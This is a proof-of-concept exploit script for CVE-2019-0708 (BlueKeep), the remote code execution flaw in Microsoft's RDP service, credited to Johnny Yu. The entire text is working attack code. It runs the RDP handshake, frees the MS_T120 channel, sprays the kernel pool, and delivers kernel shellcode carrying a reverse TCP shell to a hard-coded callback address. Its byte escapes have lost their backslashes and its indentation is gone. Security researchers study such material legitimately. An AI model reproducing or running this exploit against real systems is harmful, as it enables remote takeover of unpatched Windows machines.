Authored by Johnny Yu | Site github.com

Proof of concept exploit for a remote code execution vulnerability in Microsoft’s RDP service.

advisories | CVE-2019-0708

#!/usr/bin/python

import socket
from OpenSSL import *
from struct import pack, unpack
from sys import argv, exit

class x224ConnectionRequestPacket:
def __init__(self):
# total of 8 bytes
self.rdpNegReq = pack(
'<BBHI',
1, # type (TYPE_RDP_NEG_REQ) , 1 byte
0, # flags , 1 byte (fuzzable)
8, # length , 2 bytes
1, # request protocol , 4 bytes (fuzzable)
)

# total of 7 bytes, (6 bytes without length indicator)
self.x224Crq = pack(
'!BBHHB',
6 + len(self.rdpNegReq), # length indication , 1 byte
# 6: length of this header, excluding length byte
224, # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1
0, # dest-ref , 2 bytes (fuzzable)
0, # src-ref , 2 bytes (fuzzable)
0, # class 0
)

self.cr_tpdu = self.x224Crq + self.rdpNegReq

self.tpkt_total_length = len(self.cr_tpdu) + 4

self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)

self.pdu = self.tpktHeader + self.cr_tpdu



class MCSConnectInitialPacket:
def __init__(self, channels):

self.channelDefArray = ''

for channel in channels:
self.channelDefArray += channel.ljust(8, 'x00') + 'x00' * 4

self.clientNetworkData = pack('<HHI',
0xc003, # Header Type
len(self.channelDefArray) + 4 + 2 + 2, # Header Length
len(channels) # channelCount
)
self.clientNetworkData += self.channelDefArray # channelDefArray


# fix - do not touch, or else requires updating header length
self.clientSecurityData = pack('<HHII',
0xc002, # Header Type
12, # Header Length (2 + 2 + 4 + 4)
0x0000001b, # encryption Methods
0, # extEncryption Methods
)


# fix - do not touch, or else requires updatng header length
self.clientCoreData = pack('<HHHHHHHHII',
0xc001, # header type (2 bytes)
0xea, # header length (2 bytes)
0x0a, # version major (2 bytes)
0x08, # version minor (2 bytes)
0x07e8, # desktop Width (2 bytes)
0x05ee, # desktop Height (2 bytes)
0xca01, # color Depth (2 bytes)
0xaa03, # SASSequence (2 bytes)
0x0409, # keyboard Layout (4 bytes)
0x42ee, # client Build (4 bytes)
)
self.clientCoreData += 'Ax00'*15 + 'x00'*2 # clientName (32 bytes)
self.clientCoreData += pack('<III',
7, # keyboard (4 bytes)
0, # keyboardSubType (4 bytes)
12, # keyboardFunctionKey (4 bytes)
)
self.clientCoreData += 'x00'*64 # imeFileName (64 bytes)

self.clientCoreData += pack('<HHIHHH',
0xca01, # postBeta2ColorDepth (2 bytes)
1, # clientProductId (2 bytes)
0, # serialNumber (4 bytes)
0x18, # highColorDepth (2 bytes)
0x0f, # supportColorDepths (2 bytes)
0x07af, # earlyCapabilityFlags (2 bytes)
)
self.clientCoreData += 'x00'*64 # clientDigProductId (64 bytes)
self.clientCoreData += pack('<BBI',
7, # connectionType (1 byte)
0, # pad1octet (1 byte)
1, # serverSelectedProtocol (4 byte) - (subject to change)
)

self.clientCoreData += 'x00' * 18


self.rdp_clientData = pack('!H',
0x814a - 56 - 16 - 12 + len(self.clientNetworkData),
)

self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData


self.conferenceCreateRequest = pack('!H',
0x8158 - 56 - 16 - 12 + len(self.clientNetworkData),
)

self.conferenceCreateRequest += 'x00'
self.conferenceCreateRequest += 'x08x00' # conference name
self.conferenceCreateRequest += 'x10' # lockedConference | listedConference | conductibleConference
self.conferenceCreateRequest += 'x00x01' # terminationMethod
self.conferenceCreateRequest += 'xc0x00x44x75x63x61' # userData: h221NonStandard (44756361)

self.t124Identifer = 'x00x05x00x14x7cx00x01' # ASN.1 BER Encoded
self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData


self.genericConferenceControl = pack('!HH',
0x0482,
len(self.connectData),
) + self.connectData


self.mcs = 'x7fx65x82' # MCS Header
self.mcs += pack('!H',
len(self.genericConferenceControl) + 93) # MCS length (not including length size + header)
self.mcs += 'x04x01x01' # calling domain selector - ASN.1 BER octet type
self.mcs += 'x04x01x01' # called domain selector - ASN.1 BER octet type
self.mcs += 'x01x01xff' # upward flag - ASN.1 BER boolean type

# targetParameters - fix - do not touch or else need to update size
self.mcs += 'x30x19' # header | size (0x19)
self.mcs += 'x02x01x22' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += 'x02x01x02' # maxUserIds - ASN.1 BER integer type
self.mcs += 'x02x01x00' # maxTokenIds - ASN.1 BER integer type
self.mcs += 'x02x01x01' # numPriorities - ASN.1 BER integer type
self.mcs += 'x02x01x00' # minThroughput - ASN.1 BER integer type
self.mcs += 'x02x01x01' # maxHeight - ASN.1 BER integer type
self.mcs += 'x02x02xffxff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += 'x02x01x02' # protocolVersion - ASN.1 BER integer type

# minimumParameters - fix - do not touch or else need to update size
self.mcs += 'x30x19' # header | size (0x19)
self.mcs += 'x02x01x01' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += 'x02x01x01' # maxUserIds - ASN.1 BER integer type
self.mcs += 'x02x01x01' # maxTokenIds - ASN.1 BER integer type
self.mcs += 'x02x01x01' # numPriorities - ASN.1 BER integer type
self.mcs += 'x02x01x00' # minThroughput - ASN.1 BER integer type
self.mcs += 'x02x01x01' # maxHeight - ASN.1 BER integer type
self.mcs += 'x02x02x04x20' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += 'x02x01x02' # protocolVersion - ASN.1 BER integer type

# maximumParameters - fix - do not touch or else need to update size
self.mcs += 'x30x1c' # header | size (0x1c)
self.mcs += 'x02x02xffxff' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += 'x02x02xfcx17' # maxUserIds - ASN.1 BER integer type
self.mcs += 'x02x02xffxff' # maxTokenIds - ASN.1 BER integer type
self.mcs += 'x02x01x01' # numPriorities - ASN.1 BER integer type
self.mcs += 'x02x01x00' # maxThroughput - ASN.1 BER integer type
self.mcs += 'x02x01x01' # maxHeight - ASN.1 BER integer type
self.mcs += 'x02x02xffxff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += 'x02x01x02' # protocolVersion - ASN.1 BER integer type


self.x224Data = 'x02xf0x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)

self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl

self.tpkt_total_length = len(self.mcsci_tpdu) + 4

self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)

self.pdu = self.tpktHeader + self.mcsci_tpdu

class VirtualChannelPacket:
def __init__(self, data, initiator, channelId):

self.virtualChannelData = data

self.channelPduHeader = pack('II', len(self.virtualChannelData), 3)

self.mcsPdu = 'x64' + pack('!H', initiator) + pack('!H', channelId) + 'x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData))

self.x224Data = 'x02xf0x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)

self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData

self.tpkt_total_length = len(self.vc_pdu) + 4

self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)

self.pdu = self.tpktHeader + self.vc_pdu


def sendX224Request(s):
cr = x224ConnectionRequestPacket()
s.sendall(cr.pdu)
data = s.recv(8000)
return data

def sendMCSGCC(s, channels):
mcsci = MCSConnectInitialPacket(channels)
s.sendall(mcsci.pdu)
data = s.recv(8000)
return data

def sendErectDomainRequest(s):
s.sendall('x03x00x00x0cx02xf0x80x04x01x00x01x00')

def sendAttachUserRequest(s):
s.sendall('x03x00x00x08x02xf0x80x28')
data = s.recv(8000)
return data

def sendChannelJoinRequest(s, initiator, channelId):
s.sendall('x03x00x00x0cx02xf0x80x38' + pack('!HH', initiator, channelId))
data = s.recv(8000)
return data

def sendClientInfo(s):
pdu = 'x03x00x01x4fx02xf0x80x64x00x07x03xebx70x81x40x40x00x77xeex09x04x09x04x33x41x03x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x02x00x20x00x31x00x39x00x32x00x2ex00x31x00x36x00x38x00x2ex00x31x00x33x00x39x00x2ex00x32x00x33x00x33x00x00x00x40x00x43x00x3ax00x5cx00x57x00x49x00x4ex00x44x00x4fx00x57x00x53x00x5cx00x73x00x79x00x73x00x74x00x65x00x6dx00x33x00x32x00x5cx00x6dx00x73x00x74x00x73x00x63x00x61x00x78x00x2ex00x64x00x6cx00x6cx00x00x00xe0x01x00x00x50x00x61x00x63x00x69x00x66x00x69x00x63x00x20x00x53x00x74x00x61x00x6ex00x64x00x61x00x72x00x64x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0bx00x00x00x01x00x02x00x00x00x00x00x00x00x00x00x00x00x50x00x61x00x63x00x69x00x66x00x69x00x63x00x20x00x44x00x61x00x79x00x6cx00x69x00x67x00x68x00x74x00x20x00x54x00x69x00x6dx00x65x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03x00x00x00x02x00x02x00x00x00x00x00x00x00xc4xffxffxffx01x00x00x00x06x00x00x00x00x00x64x00x00x00'
s.sendall(pdu)
data = s.recv(8000)
return data

def sendConfirmActivePDU(s, initiator, pduSource):
pdu = 'x03x00x02x04x02xf0x80x64' + pack('!H', initiator) + 'x03xebx70x81xf5xf5x01x13x00' + pack('H', pduSource) + 'xeax03x01x00xeax03x06x00xdfx01x4dx53x54x53x43x00x16x00x00x00x01x00x18x00x01x00x03x00x00x02x00x00x00x00x1dx04x00x00x00x00x00x00x00x00x02x00x1cx00x20x00x01x00x01x00x01x00x9ax07xb4x05x00x00x01x00x01x00x00x1ax01x00x00x00x03x00x58x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x14x00x00x00x01x00x00x00xaax00x01x01x01x01x01x00x00x01x01x01x00x01x00x00x00x01x01x01x01x01x01x01x01x00x01x01x01x00x00x00x00x00xa1x06x06x00x00x00x00x00x00x84x03x00x00x00x00x00xe4x04x00x00x13x00x28x00x03x00x00x03x78x00x00x00x78x00x00x00xfcx09x00x80x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0ax00x08x00x06x00x00x00x07x00x0cx00x00x00x00x00x00x00x00x00x05x00x0cx00x00x00x00x00x02x00x02x00x08x00x0ax00x01x00x14x00x15x00x09x00x08x00x00x00x00x00x0dx00x58x00x91x00x20x00x09x04x00x00x07x00x00x00x00x00x00x00x0cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0cx00x08x00x01x00x00x00x0ex00x08x00x01x00x00x00x10x00x34x00xfex00x04x00xfex00x04x00xfex00x08x00xfex00x08x00xfex00x10x00xfex00x20x00xfex00x40x00xfex00x80x00xfex00x00x01x40x00x00x08x00x01x00x01x03x00x00x00x0fx00x08x00x01x00x00x00x11x00x0cx00x01x00x00x00x00x28x64x00x14x00x0cx00x01x00x00x00x00x00x00x00x15x00x0cx00x02x00x00x00x00x0ax00x01x1ax00x08x00xafx94x00x00x1cx00x0cx00x12x00x00x00x00x00x00x00x1bx00x06x00x01x00x1ex00x08x00x01x00x00x00x18x00x0bx00x02x00x00x00x03x0cx00'
s.sendall(pdu)

def sendRdpPduType_Synchronize(s, initiator, pduSource):
pdu = 'x03x00x00x25x02xf0x80x64' + pack('!H', initiator) + 'x03xebx70x80x16x16x00x17x00' + pack('H', pduSource) + 'xeax03x01x00x00x01x04x00x1fx00x00x00x01x00xeax03'
s.sendall(pdu)
data = s.recv(8000)
return data

def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource):
pdu = 'x03x00x00x29x02xf0x80x64' + pack('!H', initiator) + 'x03xebx70x80x1ax1ax00x17x00' + pack('H', pduSource) + 'xeax03x01x00x00x01x08x00x14x00x00x00x04x00x00x00x00x00x00x00'
s.sendall(pdu)
data = s.recv(8000)
return data

def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource):
pdu = 'x03x00x00x29x02xf0x80x64' + pack('!H', initiator) + 'x03xebx70x80x1ax1ax00x17x00' + pack('H', pduSource) + 'xeax03x01x00x00x01x08x00x14x00x00x00x01x00x00x00x00x00x00x00'
s.sendall(pdu)
data = s.recv(8000)
return data

def sendRdpPduType_FontList(s, initiator, pduSource):
pdu = 'x03x00x00x29x02xf0x80x64' + pack('!H', initiator) + 'x03xebx70x80x1ax1ax00x17x00' + pack('H', pduSource) + 'xeax03x01x00x00x01x08x00x27x00x00x00x00x00x00x00x03x00x32x00'
s.sendall(pdu)
data = s.recv(8000)
return data

def sendToVirtualChannel(s, data, initiator, channelId):
vc = VirtualChannelPacket(data, initiator, channelId)
s.sendall(vc.pdu)

def readFromVirtualChannel(s):
while 1:
data = tls.recv(8000)
if 'x03x00x00x22x02xf0x80' in data or 'x03x00x00x6ax02xf0x80' in data:
# got data that comes from virtual channel
return data
else:
# junk data
pass

def makeKernelShellcode():
# Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501
# spoolsv.exe
kshellcode = 'x55xe8x34x00x00x00xb9x82x00x00xc0x0fx32x4cx8dx0dx3ax00x00x00x44x39xc8x74x19x39x45x00x74x0ax89x55x04x89x45x00xc6x45xf8x00x49x91x50x5ax48xc1xeax20x0fx30x5dx31xc0x90xf4x90xebxfbx48x8dx2dx00x10x00x00x48xc1xedx0cx48xc1xe5x0cx48x83xedx70xc3x0fx01xf8x65x48x89x24x25x10x00x00x00x65x48x8bx24x25xa8x01x00x00x6ax2bx65xffx34x25x10x00x00x00x50x50x55xe8xc5xffxffxffx48x8bx45x00x48x83xc0x1fx48x89x44x24x10x51x52x41x50x41x51x41x52x41x53x31xc0xb2x01xf0x0fxb0x55xf8x75x14xb9x82x00x00xc0x8bx45x00x8bx55x04x0fx30xfbxe8x0ex00x00x00xfax41x5bx41x5ax41x59x41x58x5ax59x5dx58xc3x41x57x41x56x57x56x53x50x4cx8bx7dx00x49xc1xefx0cx49xc1xe7x0cx49x81xefx00x10x00x00x66x41x81x3fx4dx5ax75xf1x4cx89x7dx08x65x4cx8bx34x25x88x01x00x00xbfx78x7cxf4xdbxe8xe2x00x00x00x48x91xbfx3fx5fx64x77xe8xddx00x00x00x8bx40x03x89xc3x48x8dx50x28x4cx8dx04x11x4dx89xc1x4dx8bx09x4dx39xc8x0fx84xb1x00x00x00x4cx89xc8x4cx29xf0x48x3dx00x07x00x00x77xe6x4dx29xcexbfxe1x14x01x17xe8xa6x00x00x00x8bx78x03x83xc7x08x48x8dx34x19xe8xdfx00x00x00x3dxd8x83xe0x3ex74x10x3dxd8x83xe0x3ex74x09x48x8bx0cx39x48x29xf9xebxe0xbfx48xb8x18xb8xe8x6fx00x00x00x48x89x45xf0x48x8dx34x11x48x89xf3x48x8bx5bx08x48x39xdex74xf7x48x8dx4dx10x4dx31xc0x4cx8dx0dxadx00x00x00x55x6ax01x55x41x50x4ax8dx14x33x48x83xecx20xbfxc4x5cx19x6dxe8x35x00x00x00x48x8dx4dx10x4dx31xc9xbfx34x46xccxafxe8x24x00x00x00x48x83xc4x40x85xc0x74xb8x48x8bx45x20x80x78x1ax01x74x09x48x89x00x48x89x40x08xebxa5x58x5bx5ex5fx41x5ex41x5fxc3xe8x02x00x00x00xffxe0x53x51x56x41x8bx47x3cx41x8bx84x07x88x00x00x00x4cx01xf8x50x8bx48x18x8bx58x20x4cx01xfbxffxc9x8bx34x8bx4cx01xfexe8x1fx00x00x00x39xf8x75xefx58x8bx58x24x4cx01xfbx66x8bx0cx4bx8bx58x1cx4cx01xfbx8bx04x8bx4cx01xf8x5ex59x5bxc3x52x31xc0x99xacxc1xcax0dx01xc2x85xc0x75xf6x92x5axc3x55x53x57x56x41x57x49x8bx28x4cx8bx7dx08x52x5ex4cx89xcbx31xc0x44x0fx22xc0x48x89x02x89xc1x48xf7xd1x49x89xc0xb0x40x50xc1xe0x06x50x49x89x01x48x83xecx20xbfxeax99x6ex57xe8x65xffxffxffx48x83xc4x30x85xc0x75x45x48x8bx3ex48x8dx35x4dx00x00x00xb9x00x06x00x00xf3xa4x48x8bx45xf0x48x8bx40x18x48x8bx40x20x48x8bx00x66x83x78x48x18x75xf6x48x8bx50x50x81x7ax0cx33x00x32x00x75xe9x4cx8bx78x20xbfx5ex51x5ex83xe8x22xffxffxffx48x89x03x31xc9x88x4dxf8xb1x01x44x0fx22xc1x41x5fx5ex5fx5bx5dxc3x48x92x31xc9x51x51x49x89xc9x4cx8dx05x0dx00x00x00x89xcax48x83xecx20xffxd0x48x83xc4x30xc3'

# explorer.exe
#kshellcode = 'x55xe8x34x00x00x00xb9x82x00x00xc0x0fx32x4cx8dx0dx3ax00x00x00x44x39xc8x74x19x39x45x00x74x0ax89x55x04x89x45x00xc6x45xf8x00x49x91x50x5ax48xc1xeax20x0fx30x5dx31xc0x90xf4x90xebxfbx48x8dx2dx00x10x00x00x48xc1xedx0cx48xc1xe5x0cx48x83xedx70xc3x0fx01xf8x65x48x89x24x25x10x00x00x00x65x48x8bx24x25xa8x01x00x00x6ax2bx65xffx34x25x10x00x00x00x50x50x55xe8xc5xffxffxffx48x8bx45x00x48x83xc0x1fx48x89x44x24x10x51x52x41x50x41x51x41x52x41x53x31xc0xb2x01xf0x0fxb0x55xf8x75x14xb9x82x00x00xc0x8bx45x00x8bx55x04x0fx30xfbxe8x0ex00x00x00xfax41x5bx41x5ax41x59x41x58x5ax59x5dx58xc3x41x57x41x56x57x56x53x50x4cx8bx7dx00x49xc1xefx0cx49xc1xe7x0cx49x81xefx00x10x00x00x66x41x81x3fx4dx5ax75xf1x4cx89x7dx08x65x4cx8bx34x25x88x01x00x00xbfx78x7cxf4xdbxe8xe2x00x00x00x48x91xbfx3fx5fx64x77xe8xddx00x00x00x8bx40x03x89xc3x48x8dx50x28x4cx8dx04x11x4dx89xc1x4dx8bx09x4dx39xc8x0fx84xb1x00x00x00x4cx89xc8x4cx29xf0x48x3dx00x07x00x00x77xe6x4dx29xcexbfxe1x14x01x17xe8xa6x00x00x00x8bx78x03x83xc7x08x48x8dx34x19xe8xdfx00x00x00x3dxe6x72xb2x3ex74x10x3dxd8x83xe0x3ex74x09x48x8bx0cx39x48x29xf9xebxe0xbfx48xb8x18xb8xe8x6fx00x00x00x48x89x45xf0x48x8dx34x11x48x89xf3x48x8bx5bx08x48x39xdex74xf7x48x8dx4dx10x4dx31xc0x4cx8dx0dxadx00x00x00x55x6ax01x55x41x50x4ax8dx14x33x48x83xecx20xbfxc4x5cx19x6dxe8x35x00x00x00x48x8dx4dx10x4dx31xc9xbfx34x46xccxafxe8x24x00x00x00x48x83xc4x40x85xc0x74xb8x48x8bx45x20x80x78x1ax01x74x09x48x89x00x48x89x40x08xebxa5x58x5bx5ex5fx41x5ex41x5fxc3xe8x02x00x00x00xffxe0x53x51x56x41x8bx47x3cx41x8bx84x07x88x00x00x00x4cx01xf8x50x8bx48x18x8bx58x20x4cx01xfbxffxc9x8bx34x8bx4cx01xfexe8x1fx00x00x00x39xf8x75xefx58x8bx58x24x4cx01xfbx66x8bx0cx4bx8bx58x1cx4cx01xfbx8bx04x8bx4cx01xf8x5ex59x5bxc3x52x31xc0x99xacxc1xcax0dx01xc2x85xc0x75xf6x92x5axc3x55x53x57x56x41x57x49x8bx28x4cx8bx7dx08x52x5ex4cx89xcbx31xc0x44x0fx22xc0x48x89x02x89xc1x48xf7xd1x49x89xc0xb0x40x50xc1xe0x06x50x49x89x01x48x83xecx20xbfxeax99x6ex57xe8x65xffxffxffx48x83xc4x30x85xc0x75x45x48x8bx3ex48x8dx35x4dx00x00x00xb9x00x06x00x00xf3xa4x48x8bx45xf0x48x8bx40x18x48x8bx40x20x48x8bx00x66x83x78x48x18x75xf6x48x8bx50x50x81x7ax0cx33x00x32x00x75xe9x4cx8bx78x20xbfx5ex51x5ex83xe8x22xffxffxffx48x89x03x31xc9x88x4dxf8xb1x01x44x0fx22xc1x41x5fx5ex5fx5bx5dxc3x48x92x31xc9x51x51x49x89xc9x4cx8dx05x0dx00x00x00x89xcax48x83xecx20xffxd0x48x83xc4x30xc3'
return kshellcode

def makeKernelUserPayload(ring3, size):
shellcode = makeKernelShellcode() + ring3
if (size - len(shellcode)) > 0:
shellcode += 'x90' * (size - len(shellcode))
return shellcode
else:
print '[**] ring3 shellcode size exceeds maxmium supporting length [**]'
exit(1)


if __name__ == "__main__":

channels = ['rdpdr', 'MS_T120', 'rdpsnd']
totalMCSChannels = len(channels) + 2
origId = 1003
lhost = '192.168.0.175'
lport = 4444
rhost = argv[1]
rport = 3389

print
print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
print '@straight_blast ; [email protected]'
print

print '[-] Establishing Connection'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))

data = sendX224Request(s)
#print "x224 Connection Response: " + data.encode('hex')

ctx = SSL.Context(SSL.TLSv1_METHOD)
tls = SSL.Connection(ctx, s)
tls.set_connect_state()
tls.do_handshake()

data = sendMCSGCC(tls, channels)
#print "MCS GCC Response: " + data.encode('hex')

sendErectDomainRequest(tls)

data = sendAttachUserRequest(tls)
#print "Attach User Response: " + data.encode('hex')

initiator = unpack('>I', data[-2:].rjust(4,'x00'))[0]
#print "Initiator: " + str(initiator)

for i in xrange(totalMCSChannels):
data = sendChannelJoinRequest(tls, initiator, origId + i)
#print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')

data = sendClientInfo(tls)
#print "Error Alert: " + data.encode('hex')

data = tls.recv(8000)
#print "Demand Active PDU: " + data.encode('hex')
sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)

data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Synchronize Response: " + data.encode('hex')

data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')

data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')

data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Fontmap Response: " + data.encode('hex')

data = readFromVirtualChannel(tls)
#print "RDPDR and RDPSND are now loaded"

print '[-] Connection Stablized'

print '[-] Freeing Object'
free_mst120_channel = 'A' * 8 + 'x02' + 'x00' * 7
sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)

print '[-] Taking Over Freed Object And Pool Spraying'

pool_size = 0x630

pool_address = 0xfffffa80055ff980
#pool_address = 0xfffffa800b5ff980

pool_storage_address = pool_address + 0x48
pool_shellcode_address = pool_address + 0x50

fake_channel_object = 'x00' * 200 + pack('<Q', pool_storage_address) + 'x00' * 88

# Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
reverse_shell = 'xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49x89xe5x49xbcx02x00' + pack('>H', lport) + socket.inet_aton(lhost) + 'x41x54x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4cx89xeax68x01x01x00x00x59x41xbax29x80x6bx00xffxd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xffxc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5'

shellcode = makeKernelUserPayload(reverse_shell, pool_size)

payload = pack('<Q', pool_shellcode_address) + shellcode
for i in xrange(0x1000):
sendToVirtualChannel(tls, fake_channel_object, initiator, 1006)
for i in xrange(10):
sendToVirtualChannel(tls, payload, initiator, 1006)

#raw_input('Press Enter To Trigger UAF')
print '[-] Triggering Used After Free'
print
print '[*] Enjoy Shell :) [*]'
print
tls.close()